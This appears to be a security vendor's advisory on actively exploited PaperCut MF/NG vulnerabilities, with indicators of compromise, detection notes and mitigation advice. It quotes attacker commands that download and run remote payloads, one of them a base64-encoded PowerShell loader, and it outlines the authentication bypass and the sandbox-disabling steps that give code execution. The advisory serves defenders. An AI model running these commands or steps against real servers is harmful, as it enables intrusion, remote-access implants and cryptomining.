This is some text inside of a div block.
Glitch effect

Critical Vulnerabilities in PaperCut Print Management Software

|
Glitch effectGlitch effectGlitch effect
Share
Glitch banner

Our team is tracking in-the-wild exploitation of zero-day vulnerabilities against PaperCut MF/NG which allow for unauthenticated remote code execution due to an authentication bypass.

UPDATE #1 - 4/25/23 @ 11am ET: Added information about additional exploitation seen against Papercut MF/NG Server where a crypto-miner was deployed.

 

Huntress has observed post-exploitation activities within our partner environments following the exploitation of recent PaperCut MF/NG vulnerabilities. On April 19th, PaperCut reported active in the wild exploitation against vulnerable versions 8.0 and above, and prior to 20.1.7, 21.2.11, or 22.0.9

These threats have been tagged by the Zero Day Initiative as ZDI-CAN-19226 (CVE-2023-27351) and ZDI-CAN-18987 (CVE-2023-27350).

In our protected environments, we observe:

  • 1014 total Windows hosts with PaperCut installed
  • 908 total Windows hosts with vulnerable versions of PaperCut installed. (~90%)
  • Spread across 710 distinct organizations
  • 3 total macOS hosts with PaperCut Server installed
  • 2 total macOS hosts with vulnerable versions of PaperCut installed.

We have sent out incident reports to all affected organizations pertaining to their vulnerable hosts, and continue to recommend following PaperCut’s guidance to patch. 

Huntress security researcher Caleb Stewart has recreated a proof-of-concept exploit to demonstrate these threats, that you can see in action with this video, and read on for the finer threat intel and technical analysis details below:

What It Does

If the version numbers and identifiers weren’t confusing enough, these threats split into two CVEs — but ultimately rely on an authentication bypass that leads to further compromise as an administrative user within the PaperCut Application Server. 

After authentication has been bypassed, a threat actor may then execute arbitrary code on the server running in the context of the NT AUTHORITY\SYSTEM account. Because of the ease and simplicity of this attack and its impact, these have earned a CVSS severity score of 8.2 and 9.8.

Shodan reports about ~1,800 publicly exposed PaperCut servers (at least, with the search query of finding PaperCut in the HTML, as the listening port is 9191 by default but can be customized). Note that there is no clear reason why this service might need to be open to the Internet.

Event Context & Observables

4/16/23 Exploitation Seen

While PaperCut’s notification indicating active exploitation was released on 19 April, aspects of this activity appear to begin several days earlier. We reported related activity on April 16 when we observed the following command was spawned from PaperCut software:

cmd /c "powershell.exe -nop -w hidden  Invoke-WebRequest 'hXXp://upd488[.]windowservicecemter[.]com/download/setup.msi'  -OutFile 'setup.msi'"

(line breaks added for visual clarity)

The file, setup.msi (SHA256 hash: f9947c5763542b3119788923977153ff8ca807a2e535e6ab28fc42641983aabb), is an installation package for the legitimate Atera remote management and maintenance (RMM) software. The package is installed in a subsequent command again spawned from the exploited PaperCut instance:

cmd /c "msiexec /i setup.msi /qn  IntegratorLogin=fimaribahundqf[AT]gmx[.]com CompanyId=1"

At this stage, the adversary gains persistent remote access and code execution on the victim machine via the installed RMM. Within Huntress’s environment, the above activity was identified shortly after taking place and the event remediated without further observations or indicators of adversary activity.

Reviewing the technical items above, the domain — windowservicecemter[.]com — provided the most effective starting point for further research. The domain was registered shortly before the events above, on 12 April, and leverages Cloudflare services to obfuscate primary hosting. Reviewing the domain and its history in various tools and archives showed several download strings beyond that directly observed by Huntress:

  • upd488[.]windowservicecemter[.]com/download/ld.txt
  • upd488[.]windowservicecemter[.]com/download/AppPrint.msi
  • upd488[.]windowservicecemter[.]com/download/a2.msi
  • upd488[.]windowservicecemter[.]com/download/a3.msi

The MSI packages install two different RMM tools: Atera, as already noted, and also Syncro. Based on preliminary analysis, both appear to be legitimate copies of these products and do not possess any built-in or added malicious capability.

The ld.txt (SHA256 hash: c0f8aeeb2d11c6e751ee87c40ee609aceb1c1036706a5af0d3d78738b6cc4125) file is more interesting, as recovery and analysis shows this is actually a Windows DLL, specifically a Truebot malware variant.

Huntress has previously encountered Truebot installations as post-exploit payloads. While Huntress did not directly observe Truebot’s use in the identified incident, the fact that the malware is colocated with the other post-exploit RMM payloads provides a very intriguing data point. Truebot is linked to an entity known as Silence, which in turn has historical links with the ransomware-related entity TA505 (or Clop). In the previous Truebot investigation, TA505 later claimed responsibility for using exploitation of GoAnywhere software as a precursor to ransomware.

While the ultimate goal of the current activity leveraging PaperCut’s software is unknown, these links (albeit somewhat circumstantial) to a known ransomware entity are concerning. Potentially, the access gained through PaperCut exploitation could be used as a foothold leading to follow-on movement within the victim network, and ultimately ransomware deployment.

Given the potential for disruptive operations linked to the above, Huntress performed further research yielding additional, potentially related, network infrastructure created on the same day and with similar characteristics to the server hosting post-exploitation payloads:

  • anydeskupdate[.]com
  • anydeskupdates[.]com
  • netviewremote[.]com
  • updateservicecenter[.]com
  • windowcsupdates[.]com
  • windowservicecentar[.]com
  • windowservicecenter[.]com
  • winserverupdates[.]com

One of these items — winserverupdates[.]com — is linked to Cobalt Strike Beacon activity with a similar-looking subdomain (upd343). While the remaining items are not yet associated with any known malicious activity, Huntress advises defenders and asset owners to treat them as likely associated with the activities described above, and take appropriate action.

4/22/23 Exploitation Seen

On 4/22/23 new exploitation was seen where the first stage pulled down a .bat file (http://50.19.48[.]59:82/me1.bat): 

cmd.exe /c powershell -enc JAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAAJAB0AGUAbQBwAGYAaQBsAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABGAGkAbABlAE4AYQBtAGUAKAApADsAIAAkAHQAZQBtAHAAZgBpAGwAZQAgACsAPQAgACcALgBiAGEAdAAnADsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADUAMAAuADEAOQAuADQAOAAuADUAOQA6ADgAMgAvAG0AZQAxAC4AYgBhAHQAJwAsACAAJAB0AGUAbQBwAGYAaQBsAGUAKQA7ACAAJgAgACQAdABlAG0AcABmAGkAbABlAA==

When run, the script attempts to disable Windows Defender and remove various cryptominer applications if they are installed, then downloads and executes the next stage (http://50.19.48[.]59:82/me2.bat) which attempts to deploy a Monero crypto miner with the wallet ID of 43DTEF92be6XcPj5Z7U96g4oGeebUxkFq9wyHcNTe1otM2hUrfvdswGdLHxabCSTio7apowzJJVwBZw6vVTu7NoNCNAMoZ4. The IP address used to host the scripts as well as the wallet ID have been noted previously in a Sophos blog post covering attacks against VMWare Horizon Servers.

Technical Analysis & Investigation

Huntress obtained pre-patch versions of the PaperCut Application Servers for Windows and Mac to do our analysis and investigation. Considering the path and naming convention for downloading the latest installer, we could retrieve any version for different operating systems by modifying different parts of this URL:

https://cdn.papercut.com/web/products/ng-mf/installers/ng/$_version_prefix/pcng-setup-$pkgver.$_build.sh

These placeholders $_version_prefix could be the major version like 20.x, $pkgver something like 20.0.8 and $_build is a specific number (like 65201).

Security researcher Caleb Stewart installed PaperCut inside of a virtual environment, and decompiled Java class files to read through the application source code. With our installed version, we could find the server WAR file at C:\Program Files\PaperCut NG\server\lib\pcng-server-22.0.8.war.

 

After going through the initial setup process to create an admin user and configure the service, we noted there were enough clues from ZDI’s public notifications to narrow down the search to the “SetupCompleted” page. Simply visiting this page and clicking “Login” would bypass authentication. 

 

 

Now, logged in as an administrator user without knowing any credentials, configurations and settings could be changed. Considering this was an admin interface we assumed there would be functionality to simply run commands. After a quick look within the PaperCut MF/NG documentation, it was clear that code could be run within a sandbox… but with some slight setting tweaks, easily turned off to run pure Java code on the server itself. Namely, print-and-device.script.enabled and print.script.sandboxed could be turned off.

 

 

Following this, a threat actor could add malicious entries to the template printer script, which is present by default. These printer scripts are written in JavaScript using the embedded Rhino JavaScript engine. By disabling sandboxing, the printer scripts now have direct access to the Java runtime which enables trivial code execution. As intended, the scripts contain only functions which serve as hooks for future execution, however the global scope is executed immediately upon saving, and therefore a simple edit of a printer script can be leveraged to achieve Remote Code Execution.

 

 

With that, we have a fully working proof-of-concept to demonstrate the authentication bypass and remote code execution threats against the PaperCut Application Server. When bundled up into a standalone attack script, an adversary could achieve initial access as SYSTEM, establish command-and-control, and then continue post-exploitation. 

As Huntress has observed (and described above), in-the-wild exploitation attempts have dropped an Atera agent for further actions on objectives.

Detection Efforts

From our recreated proof-of-concept, we observed child processes spawned underneath the pc-app.exe process. The screenshot below showcases a simple test of invoking PowerShell to call out to another location, demonstrating the achieved code execution.

 

With this simple indicator we have a developed detection capability to alert on malicious behavior following exploitation of PaperCut. At the time of writing, we have not yet seen any other exploitation attempts against our partner’s hosts.

 

 

If you are not a Huntress partner, we have developed a primitive Sigma rule to help detect this activity that you can use in your own environments. You can find this Sigma rule here

What You Should Do

We strongly recommend you upgrade your PaperCut server to a patched version using the information shared in the PaperCut advisory. Note that only versions 20.x or later are patchable.

If you are unable to patch, there are a few options for partial mitigation:

  • Block all traffic from external IPs to the web management port on an edge device (port 9191 by default)
  • This will not prevent exploitation of this vulnerability if a threat actor gained access to the local network and pivoted laterally.
  • Block all traffic destined to the web management port on the firewall for the server itself
  • This would prevent lateral movement from other hosts within the network, but also prevent management via the web portal from any other location than the server itself.

If you are looking for indicators of compromise, you can review the Application Logs within the PaperCut interface. You may see entries:

  • User "admin" logged into the administration interface
  • Admin user "admin" modified the print script on printer
  • User "admin" updated the config key "..."


If your Application Server is configured to log in debug mode, you can hunt for anomalous entries indicating access to the SetupCompleted page.

Thanks to Huntress team members Joe Slowik, Caleb Stewart, Stuart Ashenbrenner, John Hammond, Jason Phelps, Sharon Martin, Kris Luzadre, Matt Anderson and Dave Kleinatland amongst many others for their contributions to this writeup and rapid response effort.

Sign Up for Blog Updates

Subscribe today and you’ll be the first to know when new content hits the blog.

Huntress at work
Response to Incidents